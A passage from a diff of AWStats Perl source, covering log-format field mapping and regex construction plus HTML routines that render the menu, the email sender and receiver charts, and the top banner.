s/cs-referred/%referer/g; + $LogFormatString =~ s/sc-authenticated/%other/g; + $LogFormatString =~ s/s-svcname/%other/g; + $LogFormatString =~ s/s-computername/%other/g; + $LogFormatString =~ s/r-host/%virtualname/g; + $LogFormatString =~ s/cs-host/%virtualname/g; + $LogFormatString =~ s/r-ip/%other/g; + $LogFormatString =~ s/r-port/%other/g; + $LogFormatString =~ s/time-taken/%other/g; + $LogFormatString =~ s/cs-bytes/%other/g; + $LogFormatString =~ s/cs-protocol/%other/g; + $LogFormatString =~ s/cs-transport/%other/g; + $LogFormatString =~ + s/s-operation/%method/g; # GET, POST, SMTP, RETR STOR + $LogFormatString =~ s/cs-mime-type/%other/g; + $LogFormatString =~ s/s-object-source/%other/g; + $LogFormatString =~ s/s-cache-info/%other/g; + $LogFormatString =~ s/cluster-node/%cluster/g; + $LogFormatString =~ s/s-sitename/%other/g; + $LogFormatString =~ s/s-ip/%other/g; + $LogFormatString =~ s/s-port/%other/g; + $LogFormatString =~ s/cs\(Cookie\)/%other/g; + $LogFormatString =~ s/sc-substatus/%other/g; + $LogFormatString =~ s/sc-win32-status/%other/g; + + + # Added for MMS + $LogFormatString =~ + s/protocol/%protocolmms/g; # cs-method might not be available + $LogFormatString =~ + s/c-status/%codemms/g; # c-status used when sc-status not available + if ($Debug) { debug(" LogFormatString=$LogFormatString"); } + +# $LogFormatString has an AWStats format, so we can generate PerlParsingFormat variable + my $i = 0; + my $LogSeparatorWithoutStar = $LogSeparator; + $LogSeparatorWithoutStar =~ s/[\*\+]//g; + foreach my $f ( split( /\s+/, $LogFormatString ) ) { + + # Add separator for next field + if ($PerlParsingFormat) { $PerlParsingFormat .= "$LogSeparator"; } + + # Special for logname + if ( $f =~ /%lognamequot$/ ) { + $pos_logname = $i; + $i++; + push @fieldlib, 'logname'; + $PerlParsingFormat .= + "\\\"?([^\\\"]*)\\\"?" + ; # logname can be "value", "" and - in same log (Lotus notes) + } + elsif ( $f =~ /%logname$/ ) { + $pos_logname = $i; + $i++; + push @fieldlib, 'logname'; + +# %u (user) is "([^\\/\\[]+)" instead of "[^$LogSeparatorWithoutStar]+" because can contain space (Lotus Notes). + $PerlParsingFormat .= "([^\\/\\[]+)"; + } + + # Date format + elsif ( $f =~ /%time1$/ || $f =~ /%time1b$/ ) + { # [dd/mmm/yyyy:hh:mm:ss +0000] or [dd/mmm/yyyy:hh:mm:ss], time1b kept for backward compatibility + $pos_date = $i; + $i++; + push @fieldlib, 'date'; + $pos_tz = $i; + $i++; + push @fieldlib, 'tz'; + $PerlParsingFormat .= +"\\[([^$LogSeparatorWithoutStar]+)( [^$LogSeparatorWithoutStar]+)?\\]"; + } + elsif ( $f =~ /%time2$/ ) { # yyyy-mm-dd hh:mm:ss + $pos_date = $i; + $i++; + push @fieldlib, 'date'; + $PerlParsingFormat .= +"([^$LogSeparatorWithoutStar]+\\s[^$LogSeparatorWithoutStar]+)" + ; # Need \s for Exchange log files + } + elsif ( $f =~ /%time3$/ ) + { # mon d hh:mm:ss or mon d hh:mm:ss or mon dd hh:mm:ss yyyy or day mon dd hh:mm:ss or day mon dd hh:mm:ss yyyy + $pos_date = $i; + $i++; + push @fieldlib, 'date'; + $PerlParsingFormat .= +"(?:\\w\\w\\w )?(\\w\\w\\w \\s?\\d+ \\d\\d:\\d\\d:\\d\\d(?: \\d\\d\\d\\d)?)"; + } + elsif ( $f =~ /%time4$/ ) { # ddddddddddddd + $pos_date = $i; + $i++; + push @fieldlib, 'date'; + $PerlParsingFormat .= "(\\d+)"; + } + elsif ( $f =~ /%time5$/ ) { # yyyy-mm-ddThh:mm:ss+00:00 (iso format) + $pos_date = $i; + $i++; + push @fieldlib, 'date'; + $pos_tz = $i; + $i++; + push @fieldlib, 'tz'; + $PerlParsingFormat .= +"([^$LogSeparatorWithoutStar]+T[^$LogSeparatorWithoutStar]+)([-+]\\d\\d:\\d\\d)"; + } + + # Special for methodurl and methodurlnoprot + elsif ( $f =~ /%methodurl$/ ) { + $pos_method = $i; + $i++; + push @fieldlib, 'method'; + $pos_url = $i; + $i++; + push @fieldlib, 'url'; + $PerlParsingFormat .= + +#"\\\"([^$LogSeparatorWithoutStar]+) ([^$LogSeparatorWithoutStar]+) [^\\\"]+\\\""; +"\\\"([^$LogSeparatorWithoutStar]+) ([^$LogSeparatorWithoutStar]+)(?: [^\\\"]+|)\\\""; + } + elsif ( $f =~ /%methodurlnoprot$/ ) { + $pos_method = $i; + $i++; + push @fieldlib, 'method'; + $pos_url = $i; + $i++; + push @fieldlib, 'url'; + $PerlParsingFormat .= +"\\\"([^$LogSeparatorWithoutStar]+) ([^$LogSeparatorWithoutStar]+)\\\""; + } + + # Common command tags + elsif ( $f =~ /%virtualnamequot$/ ) { + $pos_vh = $i; + $i++; + push @fieldlib, 'vhost'; + $PerlParsingFormat .= "\\\"([^$LogSeparatorWithoutStar]+)\\\""; + } + elsif ( $f =~ /%virtualname$/ ) { + $pos_vh = $i; + $i++; + push @fieldlib, 'vhost'; + $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)"; + } + elsif ( $f =~ /%host_r$/ ) { + $pos_hostr = $i; + $i++; + push @fieldlib, 'hostr'; + $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)"; + } + elsif ( $f =~ /%host$/ ) { + $pos_host = $i; + $i++; + push @fieldlib, 'host'; + $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)"; + } + elsif ( $f =~ /%host_proxy$/ ) + { # if host_proxy tag used, host tag must not be used + $pos_host = $i; + $i++; + push @fieldlib, 'host'; + $PerlParsingFormat .= "(.+?)(?:, .*)*"; + } + elsif ( $f =~ /%method$/ ) { + $pos_method = $i; + $i++; + push @fieldlib, 'method'; + $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)"; + } + elsif ( $f =~ /%url$/ ) { + $pos_url = $i; + $i++; + push @fieldlib, 'url'; + $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)"; + } + elsif ( $f =~ /%query$/ ) { + $pos_query = $i; + $i++; + push @fieldlib, 'query'; + $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)"; + } + elsif ( $f =~ /%code$/ ) { + $pos_code = $i; + $i++; + push @fieldlib, 'code'; + $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)"; + } + elsif ( $f =~ /%bytesd$/ ) { + $pos_size = $i; + $i++; + push @fieldlib, 'size'; + $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)"; + } + elsif ( $f =~ /%refererquot$/ ) { + $pos_referer = $i; + $i++; + push @fieldlib, 'referer'; + $PerlParsingFormat .= + "\\\"([^\\\"]*)\\\""; # referer might be "" + } + elsif ( $f =~ /%referer$/ ) { + $pos_referer = $i; + $i++; + push @fieldlib, 'referer'; + $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)"; + } + elsif ( $f =~ /%uaquot$/ ) { + $pos_agent = $i; + $i++; + push @fieldlib, 'ua'; + $PerlParsingFormat .= "\\\"([^\\\"]*)\\\""; # ua might be "" + } + elsif ( $f =~ /%uabracket$/ ) { + $pos_agent = $i; + $i++; + push @fieldlib, 'ua'; + $PerlParsingFormat .= "\\\[([^\\\]]*)\\\]"; # ua might be [] + } + elsif ( $f =~ /%ua$/ ) { + $pos_agent = $i; + $i++; + push @fieldlib, 'ua'; + $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)"; + } + elsif ( $f =~ /%gzipin$/ ) { + $pos_gzipin = $i; + $i++; + push @fieldlib, 'gzipin'; + $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)"; + } + elsif ( $f =~ /%gzipout/ ) + { # Compare $f to /%gzipout/ and not to /%gzipout$/ like other fields + $pos_gzipout = $i; + $i++; + push @fieldlib, 'gzipout'; + $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)"; + } + elsif ( $f =~ /%gzipratio/ ) + { # Compare $f to /%gzipratio/ and not to /%gzipratio$/ like other fields + $pos_compratio = $i; + $i++; + push @fieldlib, 'gzipratio'; + $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)"; + } + elsif ( $f =~ /%deflateratio/ ) + { # Compare $f to /%deflateratio/ and not to /%deflateratio$/ like other fields + $pos_compratio = $i; + $i++; + push @fieldlib, 'deflateratio'; + $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)"; + } + elsif ( $f =~ /%email_r$/ ) { + $pos_emailr = $i; + $i++; + push @fieldlib, 'email_r'; + $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)"; + } + elsif ( $f =~ /%email$/ ) { + $pos_emails = $i; + $i++; + push @fieldlib, 'email'; + $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)"; + } + elsif ( $f =~ /%cluster$/ ) { + $pos_cluster = $i; + $i++; + push @fieldlib, 'clusternb'; + $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)"; + } + elsif ( $f =~ /%timetaken$/ ) { + $pos_timetaken = $i; + $i++; + push @fieldlib, 'timetaken'; + $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)"; + } + +# Special for protocolmms, used for method if method not already found (for MMS) + elsif ( $f =~ /%protocolmms$/ ) { + if ( $pos_method < 0 ) { + $pos_method = $i; + $i++; + push @fieldlib, 'method'; + $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)"; + } + } + + # Special for codemms, used for code only if code not already found (for MMS) + elsif ( $f =~ /%codemms$/ ) { + if ( $pos_code < 0 ) { + $pos_code = $i; + $i++; + push @fieldlib, 'code'; + $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)"; + } + } + + # Extra tag + elsif ( $f =~ /%extra(\d+)$/ ) { + $pos_extra[$1] = $i; + $i++; + push @fieldlib, "extra$1"; + $PerlParsingFormat .= "(.*)"; + } + + # Other tag + elsif ( $f =~ /%other$/ ) { + $PerlParsingFormat .= "[^$LogSeparatorWithoutStar]+"; + } + elsif ( $f =~ /%otherquot$/ ) { + $PerlParsingFormat .= "\\\"[^\\\"]*\\\""; + } + + # Unknown tag (no parenthesis) + else { + $PerlParsingFormat .= "[^$LogSeparatorWithoutStar]+"; + } + } + if ( !$PerlParsingFormat ) { + error("No recognized format tag in personalized LogFormat string"); + } + } +# if ( $pos_host < 0 ) { +# error( +#"Your personalized LogFormat does not include all fields required by AWStats (Add \%host in your LogFormat string)." +# ); +# } +# if ( $pos_date < 0 ) { +# error( +#"Your personalized LogFormat does not include all fields required by AWStats (Add \%time1 or \%time2 in your LogFormat string)." +# ); +# } +# if ( $pos_method < 0 ) { +# error( +#"Your personalized LogFormat does not include all fields required by AWStats (Add \%methodurl or \%method in your LogFormat string)." +# ); +# } +# if ( $pos_url < 0 ) { +# error( +#"Your personalized LogFormat does not include all fields required by AWStats (Add \%methodurl or \%url in your LogFormat string)." +# ); +# } +# if ( $pos_code < 0 ) { +# error( +#"Your personalized LogFormat does not include all fields required by AWStats (Add \%code in your LogFormat string)." +# ); +# } +# if ( $pos_size < 0 ) { +# error( +#"Your personalized LogFormat does not include all fields required by AWStats (Add \%bytesd in your LogFormat string)." +# ); +# } + $PerlParsingFormat = qr/^$PerlParsingFormat/; + if ($Debug) { debug(" PerlParsingFormat is $PerlParsingFormat"); } +} + +#------------------------------------------------------------------------------ +# Function: Prints a menu category for the frame or static header +# Parameters: - +# Input: $categ, $categtext, $categicon, $frame, $targetpage, $linkanchor, +# $NewLinkParams, $NewLinkTarget +# Output: HTML +# Return: - +#------------------------------------------------------------------------------ +sub HTMLShowMenuCateg { + my ( $categ, $categtext, $categicon, $frame, $targetpage, $linkanchor, + $NewLinkParams, $NewLinkTarget ) + = ( shift, shift, shift, shift, shift, shift, shift, shift ); + $categicon = ''; # Comment this to enabme category icons + my ( $menu, $menulink, $menutext ) = ( shift, shift, shift ); + my $linetitle = 0; + + # Call to plugins' function AddHTMLMenuLink + foreach my $pluginname ( keys %{ $PluginsLoaded{'AddHTMLMenuLink'} } ) { + +# my $function="AddHTMLMenuLink_$pluginname('$categ',\$menu,\$menulink,\$menutext)"; +# eval("$function"); + my $function = "AddHTMLMenuLink_$pluginname"; + &$function( $categ, $menu, $menulink, $menutext ); + } + foreach my $key (%$menu) { + if ( $menu->{$key} && $menu->{$key} > 0 ) { $linetitle++; last; } + } + if ( !$linetitle ) { return; } + +# At least one entry in menu for this category, we can show category and entries + my $WIDTHMENU1 = ( $FrameName eq 'mainleft' ? $FRAMEWIDTH : 150 ); + print "<tr><td class=\"awsm\" width=\"$WIDTHMENU1\"" + . ( $frame ? "" : " valign=\"top\"" ) . ">" + . ( $categicon ? "<img src=\"$DirIcons/other/$categicon\" /> " : "" ) + . "<b>$categtext:</b></td>\n"; + print( $frame? "</tr>\n" : "<td class=\"awsm\">" ); + foreach my $key ( sort { $menu->{$a} <=> $menu->{$b} } keys %$menu ) { + if ( $menu->{$key} == 0 ) { next; } + if ( $menulink->{$key} == 1 ) { + print( $frame? "<tr><td class=\"awsm\">" : "" ); + print + "<a href=\"$linkanchor#$key\"$targetpage>$menutext->{$key}</a>"; + print( $frame? "</td></tr>\n" : " " ); + } + if ( $menulink->{$key} == 2 ) { + print( $frame + ? "<tr><td class=\"awsm\"> <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> " + : "" + ); + print "<a href=\"" + . ( + $ENV{'GATEWAY_INTERFACE'} + || !$StaticLinks + ? XMLEncode("$AWScript${NewLinkParams}output=$key") + : "$StaticLinks.$key.$StaticExt" + ) + . "\"$NewLinkTarget>$menutext->{$key}</a>\n"; + print( $frame? "</td></tr>\n" : " " ); + } + } + print( $frame? "" : "</td></tr>\n" ); +} + +#------------------------------------------------------------------------------ +# Function: Prints HTML to display an email senders chart +# Parameters: - +# Input: $NewLinkParams, NewLinkTarget +# Output: HTML +# Return: - +#------------------------------------------------------------------------------ +sub HTMLShowEmailSendersChart { + my $NewLinkParams = shift; + my $NewLinkTarget = shift; + my $MaxLengthOfShownEMail = 48; + + my $total_p; + my $total_h; + my $total_k; + my $max_p; + my $max_h; + my $max_k; + my $rest_p; + my $rest_h; + my $rest_k; + + # Show filter form + #&ShowFormFilter("emailsfilter",$EmailsFilter); + # Show emails list + + print "$Center<a name=\"emailsenders\"> </a><br />\n"; + my $title; + if ( $HTMLOutput{'allemails'} || $HTMLOutput{'lastemails'} ) { + $title = "$Message[131]"; + } + else { + $title = +"$Message[131] ($Message[77] $MaxNbOf{'EMailsShown'}) - <a href=\"" + . ( + $ENV{'GATEWAY_INTERFACE'} + || !$StaticLinks + ? XMLEncode("$AWScript${NewLinkParams}output=allemails") + : "$StaticLinks.allemails.$StaticExt" + ) + . "\"$NewLinkTarget>$Message[80]</a>"; + if ( $ShowEMailSenders =~ /L/i ) { + $title .= " - <a href=\"" + . ( + $ENV{'GATEWAY_INTERFACE'} + || !$StaticLinks + ? XMLEncode("$AWScript${NewLinkParams}output=lastemails") + : "$StaticLinks.lastemails.$StaticExt" + ) + . "\"$NewLinkTarget>$Message[9]</a>"; + } + } + &tab_head( "$title", 19, 0, 'emailsenders' ); + print +"<tr bgcolor=\"#$color_TableBGRowTitle\"><th colspan=\"3\">$Message[131] : " + . ( scalar keys %_emails_h ) . "</th>"; + if ( $ShowEMailSenders =~ /H/i ) { + print "<th rowspan=\"2\" bgcolor=\"#$color_h\" width=\"80\"" + . Tooltip(4) + . ">$Message[57]</th>"; + } + if ( $ShowEMailSenders =~ /B/i ) { + print +"<th class=\"datasize\" rowspan=\"2\" bgcolor=\"#$color_k\" width=\"80\"" + . Tooltip(5) + . ">$Message[75]</th>"; + } + if ( $ShowEMailSenders =~ /M/i ) { + print +"<th rowspan=\"2\" bgcolor=\"#$color_k\" width=\"80\">$Message[106]</th>"; + } + if ( $ShowEMailSenders =~ /L/i ) { + print "<th rowspan=\"2\" width=\"120\">$Message[9]</th>"; + } + print "</tr>\n"; + print +"<tr bgcolor=\"#$color_TableBGRowTitle\"><th width=\"30%\">Local</th><th> </th><th width=\"30%\">External</th></tr>"; + $total_p = $total_h = $total_k = 0; + $max_h = 1; + foreach ( values %_emails_h ) { + if ( $_ > $max_h ) { $max_h = $_; } + } + $max_k = 1; + foreach ( values %_emails_k ) { + if ( $_ > $max_k ) { $max_k = $_; } + } + my $count = 0; + if ( !$HTMLOutput{'allemails'} && !$HTMLOutput{'lastemails'} ) { + &BuildKeyList( $MaxNbOf{'EMailsShown'}, $MinHit{'EMail'}, \%_emails_h, + \%_emails_h ); + } + if ( $HTMLOutput{'allemails'} ) { + &BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'EMail'}, \%_emails_h, + \%_emails_h ); + } + if ( $HTMLOutput{'lastemails'} ) { + &BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'EMail'}, \%_emails_h, + \%_emails_l ); + } + foreach my $key (@keylist) { + my $newkey = $key; + if ( length($key) > $MaxLengthOfShownEMail ) { + $newkey = substr( $key, 0, $MaxLengthOfShownEMail ) . "..."; + } + my $bredde_h = 0; + my $bredde_k = 0; + if ( $max_h > 0 ) { + $bredde_h = int( $BarWidth * $_emails_h{$key} / $max_h ) + 1; + } + if ( $max_k > 0 ) { + $bredde_k = int( $BarWidth * $_emails_k{$key} / $max_k ) + 1; + } + print "<tr>"; + my $direction = IsLocalEMail($key); + + if ( $direction > 0 ) { + print "<td class=\"aws\">$newkey</td><td>-></td><td> </td>"; + } + if ( $direction == 0 ) { + print +"<td colspan=\"3\"><span style=\"color: #$color_other\">$newkey</span></td>"; + } + if ( $direction < 0 ) { + print "<td class=\"aws\"> </td><td><-</td><td>$newkey</td>"; + } + if ( $ShowEMailSenders =~ /H/i ) { print "<td>$_emails_h{$key}</td>"; } + if ( $ShowEMailSenders =~ /B/i ) { + print "<td nowrap=\"nowrap\">" + . Format_Bytes( $_emails_k{$key} ) . "</td>"; + } + if ( $ShowEMailSenders =~ /M/i ) { + print "<td nowrap=\"nowrap\">" + . Format_Bytes( $_emails_k{$key} / ( $_emails_h{$key} || 1 ) ) + . "</td>"; + } + if ( $ShowEMailSenders =~ /L/i ) { + print "<td nowrap=\"nowrap\">" + . ( $_emails_l{$key} ? Format_Date( $_emails_l{$key}, 1 ) : '-' ) + . "</td>"; + } + print "</tr>\n"; + + #$total_p += $_emails_p{$key}; + $total_h += $_emails_h{$key}; + $total_k += $_emails_k{$key}; + $count++; + } + $rest_p = 0; # $rest_p=$TotalPages-$total_p; + $rest_h = $TotalHits - $total_h; + $rest_k = $TotalBytes - $total_k; + if ( $rest_p > 0 || $rest_h > 0 || $rest_k > 0 ) { # All other sender emails + print +"<tr><td colspan=\"3\"><span style=\"color: #$color_other\">$Message[2]</span></td>"; + if ( $ShowEMailSenders =~ /H/i ) { print "<td>$rest_h</td>"; } + if ( $ShowEMailSenders =~ /B/i ) { + print "<td nowrap=\"nowrap\">" . Format_Bytes($rest_k) . "</td>"; + } + if ( $ShowEMailSenders =~ /M/i ) { + print "<td nowrap=\"nowrap\">" + . Format_Bytes( $rest_k / ( $rest_h || 1 ) ) . "</td>"; + } + if ( $ShowEMailSenders =~ /L/i ) { print "<td> </td>"; } + print "</tr>\n"; + } + &tab_end(); +} + +#------------------------------------------------------------------------------ +# Function: Prints HTML to display an email receivers chart +# Parameters: - +# Input: $NewLinkParams, NewLinkTarget +# Output: HTML +# Return: - +#------------------------------------------------------------------------------ +sub HTMLShowEmailReceiversChart { + my $NewLinkParams = shift; + my $NewLinkTarget = shift; + my $MaxLengthOfShownEMail = 48; + + my $total_p; + my $total_h; + my $total_k; + my $max_p; + my $max_h; + my $max_k; + my $rest_p; + my $rest_h; + my $rest_k; + + # Show filter form + #&ShowFormFilter("emailrfilter",$EmailrFilter); + # Show emails list + + print "$Center<a name=\"emailreceivers\"> </a><br />\n"; + my $title; + if ( $HTMLOutput{'allemailr'} || $HTMLOutput{'lastemailr'} ) { + $title = "$Message[132]"; + } + else { + $title = +"$Message[132] ($Message[77] $MaxNbOf{'EMailsShown'}) - <a href=\"" + . ( + $ENV{'GATEWAY_INTERFACE'} + || !$StaticLinks + ? XMLEncode("$AWScript${NewLinkParams}output=allemailr") + : "$StaticLinks.allemailr.$StaticExt" + ) + . "\"$NewLinkTarget>$Message[80]</a>"; + if ( $ShowEMailReceivers =~ /L/i ) { + $title .= " - <a href=\"" + . ( + $ENV{'GATEWAY_INTERFACE'} + || !$StaticLinks + ? XMLEncode("$AWScript${NewLinkParams}output=lastemailr") + : "$StaticLinks.lastemailr.$StaticExt" + ) + . "\"$NewLinkTarget>$Message[9]</a>"; + } + } + &tab_head( "$title", 19, 0, 'emailreceivers' ); + print +"<tr bgcolor=\"#$color_TableBGRowTitle\"><th colspan=\"3\">$Message[132] : " + . ( scalar keys %_emailr_h ) . "</th>"; + if ( $ShowEMailReceivers =~ /H/i ) { + print "<th rowspan=\"2\" bgcolor=\"#$color_h\" width=\"80\"" + . Tooltip(4) + . ">$Message[57]</th>"; + } + if ( $ShowEMailReceivers =~ /B/i ) { + print +"<th class=\"datasize\" rowspan=\"2\" bgcolor=\"#$color_k\" width=\"80\"" + . Tooltip(5) + . ">$Message[75]</th>"; + } + if ( $ShowEMailReceivers =~ /M/i ) { + print +"<th rowspan=\"2\" bgcolor=\"#$color_k\" width=\"80\">$Message[106]</th>"; + } + if ( $ShowEMailReceivers =~ /L/i ) { + print "<th rowspan=\"2\" width=\"120\">$Message[9]</th>"; + } + print "</tr>\n"; + print +"<tr bgcolor=\"#$color_TableBGRowTitle\"><th width=\"30%\">Local</th><th> </th><th width=\"30%\">External</th></tr>"; + $total_p = $total_h = $total_k = 0; + $max_h = 1; + foreach ( values %_emailr_h ) { + if ( $_ > $max_h ) { $max_h = $_; } + } + $max_k = 1; + foreach ( values %_emailr_k ) { + if ( $_ > $max_k ) { $max_k = $_; } + } + my $count = 0; + if ( !$HTMLOutput{'allemailr'} && !$HTMLOutput{'lastemailr'} ) { + &BuildKeyList( $MaxNbOf{'EMailsShown'}, $MinHit{'EMail'}, \%_emailr_h, + \%_emailr_h ); + } + if ( $HTMLOutput{'allemailr'} ) { + &BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'EMail'}, \%_emailr_h, + \%_emailr_h ); + } + if ( $HTMLOutput{'lastemailr'} ) { + &BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'EMail'}, \%_emailr_h, + \%_emailr_l ); + } + foreach my $key (@keylist) { + my $newkey = $key; + if ( length($key) > $MaxLengthOfShownEMail ) { + $newkey = substr( $key, 0, $MaxLengthOfShownEMail ) . "..."; + } + my $bredde_h = 0; + my $bredde_k = 0; + if ( $max_h > 0 ) { + $bredde_h = int( $BarWidth * $_emailr_h{$key} / $max_h ) + 1; + } + if ( $max_k > 0 ) { + $bredde_k = int( $BarWidth * $_emailr_k{$key} / $max_k ) + 1; + } + print "<tr>"; + my $direction = IsLocalEMail($key); + + if ( $direction > 0 ) { + print "<td class=\"aws\">$newkey</td><td><-</td><td> </td>"; + } + if ( $direction == 0 ) { + print +"<td colspan=\"3\"><span style=\"color: #$color_other\">$newkey</span></td>"; + } + if ( $direction < 0 ) { + print "<td class=\"aws\"> </td><td>-></td><td>$newkey</td>"; + } + if ( $ShowEMailReceivers =~ /H/i ) { + print "<td>$_emailr_h{$key}</td>"; + } + if ( $ShowEMailReceivers =~ /B/i ) { + print "<td nowrap=\"nowrap\">" + . Format_Bytes( $_emailr_k{$key} ) . "</td>"; + } + if ( $ShowEMailReceivers =~ /M/i ) { + print "<td nowrap=\"nowrap\">" + . Format_Bytes( $_emailr_k{$key} / ( $_emailr_h{$key} || 1 ) ) + . "</td>"; + } + if ( $ShowEMailReceivers =~ /L/i ) { + print "<td nowrap=\"nowrap\">" + . ( $_emailr_l{$key} ? Format_Date( $_emailr_l{$key}, 1 ) : '-' ) + . "</td>"; + } + print "</tr>\n"; + + #$total_p += $_emailr_p{$key}; + $total_h += $_emailr_h{$key}; + $total_k += $_emailr_k{$key}; + $count++; + } + $rest_p = 0; # $rest_p=$TotalPages-$total_p; + $rest_h = $TotalHits - $total_h; + $rest_k = $TotalBytes - $total_k; + if ( $rest_p > 0 || $rest_h > 0 || $rest_k > 0 ) + { # All other receiver emails + print +"<tr><td colspan=\"3\"><span style=\"color: #$color_other\">$Message[2]</span></td>"; + if ( $ShowEMailReceivers =~ /H/i ) { print "<td>$rest_h</td>"; } + if ( $ShowEMailReceivers =~ /B/i ) { + print "<td nowrap=\"nowrap\">" . Format_Bytes($rest_k) . "</td>"; + } + if ( $ShowEMailReceivers =~ /M/i ) { + print "<td nowrap=\"nowrap\">" + . Format_Bytes( $rest_k / ( $rest_h || 1 ) ) . "</td>"; + } + if ( $ShowEMailReceivers =~ /L/i ) { print "<td> </td>"; } + print "</tr>\n"; + } + &tab_end(); +} + +#------------------------------------------------------------------------------ +# Function: Prints the top banner of the inner frame or static page +# Parameters: $WIDTHMENU1 +# Input: _ +# Output: HTML +# Return: - +#------------------------------------------------------------------------------ +sub HTMLTopBanner{ + my $WIDTHMENU1 = shift; + my $frame = ( $FrameName eq 'mainleft' ); + + if ($Debug) { debug( "ShowTopBan", 2 ); } + print "$Center<a name=\"menu\"> </a>\n"; + + if ( $FrameName ne 'mainleft' ) { + my $NewLinkParams = ${QueryString}; + $NewLinkParams =~ s/(^|&|&)update(=\w*|$)//i; + $NewLinkParams =~ s/(^|&|&)staticlinks(=\w*|$)//i; + $NewLinkParams =~ s/(^|&|&)year=[^&]*//i; + $NewLinkParams =~ s/(^|&|&)month=[^&]*//i; + $NewLinkParams =~ s/(^|&|&)framename=[^&]*//i; + $NewLinkParams =~ s/(&|&)+/&/i; + $NewLinkParams =~ s/^&//; + $NewLinkParams =~ s/&$//; + my $NewLinkTarget = ''; + + if ( $FrameName eq 'mainright' ) { + $NewLinkTarget = " target=\"_parent\""; + } + print "<form name=\"FormDateFilter\" action=\"" + . XMLEncode("$AWScript${NewLinkParams}") + . "\" style=\"padding: 0px 0px 0px 0px; margin-top: 0\"$NewLinkTarget>\n"; + } + + if ( $QueryString !~ /buildpdf/i ) { + print +"<table class=\"aws_border\" border=\"0\" cellpadding=\"2\" cellspacing=\"0\" width=\"100%\">\n"; + print "<tr><td>\n"; + print +"<table class=\"aws_data sortable\" border=\"0\" cellpadding=\"1\" cellspacing=\"0\" width=\"100%\">\n"; + } + else { + print "<table width=\"100%\">\n"; + } + + if ( $FrameName ne 'mainright' ) { + + # Print Statistics Of + if ( $FrameName eq 'mainleft' ) { + my $shortSiteDomain = $SiteDomain; + if ( length($SiteDomain) > 30 ) { + $shortSiteDomain = + substr( $SiteDomain, 0, 20 ) . "..." + . substr( $SiteDomain, length($SiteDomain) - 5, 5 ); + } + print +"<tr><td class=\"awsm\"><b>$Message[7]:</b></td></tr><tr><td class=\"aws\"><span style=\"font-size: 12px;\">$shortSiteDomain</span></td>"; + } + else { + print +"<tr><td class=\"aws\" valign=\"middle\"><b>$Message[7]:</b> </td><td class=\"aws\" valign=\"middle\"><span style=\"font-size: 14px;\">$SiteDomain</span></td>"; + } + + # Logo and flags + if ( $FrameName ne 'mainleft' ) { + if ( $LogoLink =~ "http://www.awstats.org" ) { + print "<td align=\"right\" rowspan=\"3\"><a href=\"" + . XMLEncode($LogoLink) + . "\" target=\"awstatshome\"><img src=\"$DirIcons/other/$Logo\" border=\"0\"" + . AltTitle( ucfirst($PROG) . " Web Site" ) + . " /></a>"; + } + else { + print "<td align=\"right\" rowspan=\"3\"><a href=\"" + . XMLEncode($LogoLink) + . "\" target=\"awstatshome\"><img src=\"$DirIcons/other/$Logo\" border=\"0\" /></a>"; + } + if ( !$StaticLinks ) { print "<br />"; Show_Flag_Links($Lang); } + print "</td>"; + } + print "</tr>\n"; + } + if ( $FrameName ne 'mainleft' ) { + + # Print Last Update + print +"<tr valign=\"middle\"><td class=\"aws\" valign=\"middle\" width=\"$WIDTHMENU1\"><b>$Message[35]:</b> </td>"; + print +"<td class=\"aws\" valign=\"middle\"><span style=\"font-size: 12px;\">"; + if ($LastUpdate) { print Format_Date( $LastUpdate, 0 ); } + else { + + # Here NbOfOldLines = 0 (because LastUpdate is not defined) + if ( !$UpdateStats ) { + print "<span style=\"color: #880000\">$Message[24]</span>"; + } + else { + print + "<span style=\"color: #880000\">No qualified records found in log + ($NbOfLinesCorrupted corrupted, $NbOfLinesComment comments, $NbOfLinesBlank Blank, + $NbOfLinesDropped dropped)</span>"; + } + } + print "</span>"; + + # Print Update Now link + if ( $AllowToUpdateStatsFromBrowser && !$StaticLinks ) { + my $NewLinkParams = ${QueryString}; + $NewLinkParams =~ s/(^|&|&)update(=\w*|$)//i; + $NewLinkParams =~ s/(^|&|&)staticlinks(=\w*|$)//i; + $NewLinkParams =~ s/(^|&|&)framename=[^&]*//i; + if ( $FrameName eq 'mainright' ) { + $NewLinkParams .= "&framename=mainright"; + } + $NewLinkParams =~ s/(&|&)+/&/i; + $NewLinkParams =~ s/^&//; + $NewLinkParams =~ s/&$//; + if ($NewLinkParams) { + $NewLinkParams = "${NewLinkParams}&"; + } + print " "; + print "<a href=\"" + . XMLEncode("$AWScript${NewLinkParams}update=1") + . "\">$Message[74]</a>"; + } + print "</td>"; + + # Logo and flags + if ( $FrameName eq 'mainright' ) { + if ( $LogoLink =~ "http://www.awstats.org" ) { + print "<td align=\"right\" rowspan=\"2\"><a href=\"" + . XMLEncode($LogoLink) + . "\" target=\"awstatshome\"><img src=\"$DirIcons/other/$Logo\" border=\"0\"" + . AltTitle( ucfirst($PROG) . " Web Site" ) + . " /></a>\n"; + } + else { + print "<td align=\"right\" rowspan=\"2\"><a href=\"" + . XMLEncode($LogoLink) + . "\" target=\"awstatshome\"><img src=\"$DirIcons/other/$Logo\" border=\"0\" /></a>\n"; + } + if ( 